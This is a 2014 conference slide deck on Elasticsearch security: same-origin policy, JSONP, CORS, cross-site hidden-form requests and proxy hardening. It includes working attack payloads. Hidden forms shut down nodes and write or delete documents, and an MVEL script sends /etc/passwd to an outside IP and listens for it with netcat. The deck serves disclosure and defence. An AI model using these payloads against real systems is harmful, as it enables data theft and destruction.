Security considerations
when working with
Elasticsearch

Hannes Korte
email@hkorte.com
hkorte  
Elasticsearch Usergroup Berlin 2014-07-29

Prelude

And now for something completely different

Same-origin policy

  • Restricts the access to content from other sites
  • Applies to Frames, XMLHttpRequest and WebSocket
  • A site is defined by scheme (protocol), hostname, and port

The policy permits scripts running on pages originating from the same site - a combination of scheme, hostname, and port number - to access each other's DOM with no specific restrictions, but prevents access to DOM on different sites.

— Wikipedia

Same-origin policy example

  • http://www.example.com/dir/page.html
  • can access content from:
    • http://www.example.com/dir/page2.html
    • http://www.example.com/dir2/other.html
    • http://user:pass@www.example.com/dir2/other.html
  • can not access content from:
    • http://www.example.com:81/dir/other.html
    • https://www.example.com/dir/other.html
    • http://en.example.com/dir/other.html
    • http://example.com/dir/other.html
  • might (browser-dependent) access content from:
    • http://www.example.com:80/dir/other.html

JSONP

  • JSON with Padding
  • The client defines a global function:
    function myfunction(data) { ... }
  • ...and adds a <script> element to a page:
    <script src="external.com/api?callback=myfunction"/>
  • The server responds with JSON enclosed in javascript:
    myfunction({response: "Hey!"});
  • The server has to play along
  • Only GET requests possible

CORS

  • Cross-origin resource sharing
  • (Modern) alternative to JSONP to circumvent SOP
  • Client sends request origin, server decides what to do
  • ES default:
    http.cors.allow-origin: "*"

    All request origins are allowed!
  • Beware of:
    http.cors.allow-origin: "/.*/"

    Unlike * this allows for requests with credentials
    (Issue 6380)

Local Elasticsearch Access Demo

Typical Elasticsearch
cluster scenario

Public
Application Server
Private
ES node #1
ES node #2
ES node #3

How to serve Kibana
(or site plugins)

Public
Kibana
ES Proxy server
Private
ES node #1
ES node #2
ES node #3

Securing Kibana

  • Typical setup:
    • SSL and Basic Authentication with Apache or nginx
    • Access Elasticsearch through a reverse proxy
  • This is fine, as long as
    • ...you do not use the same browser to surf the web
    • ...nobody knows the URL to your Kibana installation
  • In ES < 1.3 JSONP is always enabled

Kibana access demo

How to disable JSONP

  • Elasticsearch >= 1.3
    • JSONP is disabled by default
  • Elasticsearch <= 1.2.3
    • No configuration option to turn off JSONP
    • Block all requests with callback parameter
    • Apache config example:
      RewriteEngine On
      RewriteCond %{QUERY_STRING} callback [NC]
      RewriteRule ^/es(.*)$ - [F,L]
      ProxyPass /es http://localhost:9200
      ProxyPassReverse /es http://localhost:9200

Secure?

almost...

Write only?

  • What if we don't care about the response?
  • A GET request using an image tag:
    <img src="http://localhost:9200/_search?q=user:kimchy"/>
  • The search is performed:
  • But GET requests usually don't harm the system
    (without dynamic scripting)

Fun with hidden forms

  • How about a hidden form submitted via javascript:
    <form action="http://localhost:9200/_shutdown"
          method="post"/>
    </form>
  • What do you think?
  • Well... Try it:

Even more fun with hidden forms

  • Some more documents?
    <form  action="http://localhost:9200/unwanted/docs/"
           method="post"/>
    <input type="hidden"
           name='{"hey":"this is' value='unexpected"}'/>
    </form>
  • Try it:
  • Body is encoded as
    application/x-www-form-urlencoded:
    %7B%22hey%22%3A%22this+is=unexpected%22%7D

Hidden forms are awesome

  • How about switching off URL-encoding?
    <form  action="http://localhost:9200/unwanted/docs/"
           method="post" enctype="text/plain"/>
    <input type="hidden"
           name='{"hey":"this is' value='unexpected"}'/>
    </form>
  • Try it:
  • Sends a valid request:
    POST http://localhost:9200/unwanted/docs/
    {"hey":"this is=unexpected"}

A bulk of fun

  • Now we can also choose specific doc ids:
    <form  action="http://localhost:9200/_bulk"
           method="post" enctype="text/plain"/>
    <input type="hidden"
           name='{"index":{"_index":"te'
           value='st","_type":"doc","_id":"1"}}
                  {"hey":"there"}'/>
    </form>
  • Try it:
  • Sends a valid request:
    POST http://localhost:9200/_bulk
    {"index":{"_index":"te=st","_type":"doc","_id":"1"}}
    {"hey":"there"}

Next thing is obvious

  • How about deleting documents?
    <form  action="http://localhost:9200/_bulk"
           method="post" enctype="text/plain"/>
    <input type="hidden"
           name='{"delete":{"_index":"te'
           value='st","_type":"doc","_id":"1"}}'/>
    </form>
  • Do it:
  • Sends a valid request:
    POST http://localhost:9200/_bulk
    {"delete":{"_index":"te=st","_type":"doc","_id":"1"}}

Available POST request actions

  • Cluster restart / shutdown
  • Snapshot management
  • Alias management (add/remove)
  • Close indices
  • Create indices
  • Set index mapping
  • Index and delete documents (bulk)

Kibana write-only attacks

Kibana URL:
Elasticsearch URL:

Additional security for ES proxy

  • Block POST requests to the kibana-int index:
    RewriteCond %{REQUEST_METHOD} =POST
    RewriteRule ^/es/kibana-int(.*)$ - [F,L]
  • Add a white-list of allowed endpoints:
    ProxyPassMatch ^/es/(.*(?:_nodes|_search))$
                   http://localhost:9200/$1
  • And allow full access to kibana-int:
    ProxyPass /es/kibana-int http://localhost:9200/kibana-int
    ProxyPassReverse /es/ http://localhost:9200/

Dynamic scripting

  • Allows to filter, sort or return values based on custom logic
  • Evolution of dynamic scripting in Elasticsearch:
    • before 1.2.0: MVEL was default
    • 1.2.0: disabled for non-sandboxed languages like MVEL by default
    • 1.3.0: groovy support added, MVEL deprecated but still default
    • coming in 1.4.0: MVEL will be removed
  • MVEL is not sandboxed!
    • The script has the same system privileges as the user running Elasticsearch

MVEL Dynamic scripting example

  • Add this to a script_field and guess what happens:
    import java.io.File;
    import java.util.Scanner;
    import java.net.Socket;
    import java.io.OutputStream;
    Socket s = new Socket("123.45.67.89", 3333);
    OutputStream o = s.getOutputStream();
    o.write((new Scanner(new File("/etc/passwd"))
      .useDelimiter("\\Z").next() + "\n")
      .getBytes("UTF-8"));
    o.close(); s.close();
    "Sorry..."

MVEL Dynamic scripting demo

  • The script from the previous slide is added to this request:
    POST ES_URL/_search
    {
      fields: [],
      size: 1,
      script_fields: {
        passwd: {
          script: "import java.io.File; ..."
        }
      }
    }
  • Start netcat on the target machine:
    nc -l [-p] 3333

Summary

  • Write-only attacks - even with CORS and JSONP turned off:
    • Any javascript enabled website can shutdown your local ES node
    • Or even your cluster if you have an open SSH tunnel to a production node
  • If you need to have an SSH tunnel to a production node:
    • Never use the same machine for surfing
    • Instead put the tunnel or the browser into a virtual machine
  • When using webapps like Kibana, Sense or any other site plugin which needs direct access to Elasticsearch:
    • Be aware that every other website can trigger almost all GET and POST requests the webapp itself is allowed to access
    • This also applies if the ES proxy is protected by HTTP Basic Auth or Cookie Auth and a session is open in the same browser

Conclusions

You should never have direct HTTP access to Elasticsearch from the machine you use for surfing
Block all unnecessary GET und POST requests in an ES proxy
And the obvious things:
  • Use the current stable ES version
  • Use SSL and authentication
    for remote webapps
  • Disable CORS and JSONP
  • Disable dynamic scripting
Thanks!
Hannes Korte
email@hkorte.com
hkorte